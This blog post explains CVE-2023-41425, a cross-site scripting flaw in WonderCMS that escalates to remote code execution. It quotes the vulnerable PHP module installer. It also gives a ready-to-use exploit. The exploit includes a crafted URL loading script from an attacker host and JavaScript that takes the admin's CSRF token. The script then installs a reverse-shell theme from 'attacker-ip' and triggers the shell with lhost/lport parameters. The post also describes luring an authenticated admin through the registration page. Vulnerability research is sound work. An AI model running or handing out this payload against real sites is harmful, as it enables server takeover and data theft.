The Why and How of CVE-2023–41425 | WonderCMS Vulnerability

Shiva Maharjan
6 min readAug 13, 2024

--

WonderCMS is a small and simple flat file CMS. Aimed to be extremely light and easy to install.
Perfect for simple websites, landing pages or blogs. wondercms.com

What is CVE-2023–41425?

CVE-2023–41425 is a Cross-Site Scripting (XSS) vulnerability discovered in Wonder CMS versions 3.2.0 through 3.4.2. This means that a malicious actor could exploit this flaw to inject malicious scripts into the website, potentially allowing them to steal user data, hijack sessions, or perform other harmful actions.

How does CVE-2023–41425 work?

The vulnerability exists in the installModule component of Wonder CMS. An attacker can upload a crafted script to this component, which, when executed, allows them to inject malicious code into the website.

public function installUpdateModuleAction(): void
{
if (!isset($_REQUEST['installModule'], $_REQUEST['type']) || !$this->verifyFormActions(true)) {
return;
}

$folderName = trim(htmlspecialchars($_REQUEST['installModule']));
$type = $_REQUEST['type'];
$cached = $this->getSingleModuleCachedData($folderName, $type);
$url = !empty($cached) ? $cached['zip'] : null;

if (empty($url)) {
$this->alert('danger', 'Unable to find theme or plugin.');
return;
}

---snip---

To make the exploit work, the malicious user should either be authenticated or make authenticated user execute some malicious code.

Why?

For the exploit to work, the vulnerable endpoint, installModule can only be accessed through authenticated user.

Is It Installed?

To exploit the CMS and the vulnerability, we should be sure if the CMS and the vulnerable version is installed or not.

We already Got The Exploit!

How does it work? and WHY does it work?

As stated earlier, the exploit works only if you’re an authenticated user or an authenticated user executes the exploit.

The vulnerability lies in the loginURL endpoint through an XSS which allows a remote attacker to execute arbitrary code via a crafted script uploaded to the installModule component.

The exploit code:

somesite.com/wondercms/index.php?page=loginURL?”></form><script+src=”http://attacker.ip/xss.js”></script><form+action=”

Part 1: somesite.com/wondercms/index.php?page=home

In wondercms, if authenticated user tries to query the above url, it will try to check if the page exists. If exists, it will display the content.

But even if it doesn’t exist, it will say it doesn’t exist but will prompt user to create new page.

Now, the vulnerability is found this parameter. As it tries to render the page, although exists or not, it creates the settings for the pages automatically by fetching data from the url directly.

And since the fetched url is inserted directly into the html code, it can be bypassed with the use of quotes i.e. .

And Hence the XSS can be performed.

XSS to RCE

As stated earlier, the RCE vulnerability lies in the installModule component of the CMS.

public function installUpdateModuleAction(): void
{
if (!isset($_REQUEST['installModule'], $_REQUEST['type']) || !$this->verifyFormActions(true)) {
return;
}

$folderName = trim(htmlspecialchars($_REQUEST['installModule']));
$type = $_REQUEST['type'];
$cached = $this->getSingleModuleCachedData($folderName, $type);
$url = !empty($cached) ? $cached['zip'] : null;

if (empty($url)) {
$this->alert('danger', 'Unable to find theme or plugin.');
return;
}

$path = sprintf('%s/%s/', $this->rootDir, $type);

if (in_array($type, self::VALID_DIRS, true)) {
$zipFile = $this->filesPath . '/ZIPFromURL.zip';
$zipResource = fopen($zipFile, 'w');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $zipResource);
curl_exec($ch);
$curlError = curl_error($ch);
curl_close($ch);
$zip = new \ZipArchive;
if ($curlError || $zip->open($zipFile) !== true || (stripos($url, '.zip') === false)) {
$this->recursiveDelete($this->rootDir . '/data/files/ZIPFromURL.zip');
$this->alert('danger',
'Error opening ZIP file.' . ($curlError ? ' Error description: ' . $curlError : ''));
$this->redirect();
}
// First delete old plugin folder
$this->recursiveDelete($path . $folderName);

// Then extract new one
$zip->extractTo($path);
$zip->close();
$this->recursiveDelete($this->rootDir . '/data/files/ZIPFromURL.zip');
$moduleFolder = $path . $folderName . '-master';
if (!is_dir($moduleFolder)) {
$moduleFolder = $path . $folderName . '-main';
}
if (is_dir($moduleFolder) && !rename($moduleFolder, $path . $folderName)) {
throw new Exception('Theme or plugin not installed. Possible cause: themes or plugins folder is not writable.');
}
$this->alert('success', 'Successfully installed/updated ' . $folderName . '.');
$this->redirect();
}
}

The installUpdateModuleAction function in WonderCMS handles the process of installing or updating themes and plugins. It begins by validating user input and retrieving module information i.e. if request has installModule and type present or not. Subsequently, it downloads the required zip file, extracts its contents, and installs the module in the designated directory. The function includes error handling for various scenarios, such as download failures, zip extraction issues, and directory manipulation problems. Finally, it provides feedback to the user about the installation outcome.

In simple terms, if the zip file link is present in the installModule as well as folder path in the type keyword in url, the CMS would just download whatsoever and install it.

XSS Exploit

var url = "somesite.com/wondercms/loginURL";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://attacker-ip/rev.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "attacker-ip";
var listeningPort = "attacker-port";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + listeningPort);
xhr5.send();

}
};
}
};

Note: attacker-ip and attacker-port has to be modified as per requirement.

The required zip file can be downloaded from this link. It just contains a pentest monkey revshell php file. So, it can be self created.

What if a user can’t get authenticated?

As stated earlier try to make the authenticated user execute it.

Follow the steps:

  1. Start the exploit.

2. Register the user and send the link through website in the registration page.

We get the request for main.zip that consists our RCE payload.

Upon request to our revshell file through browser, we can get the RCE.

--

--

No responses yet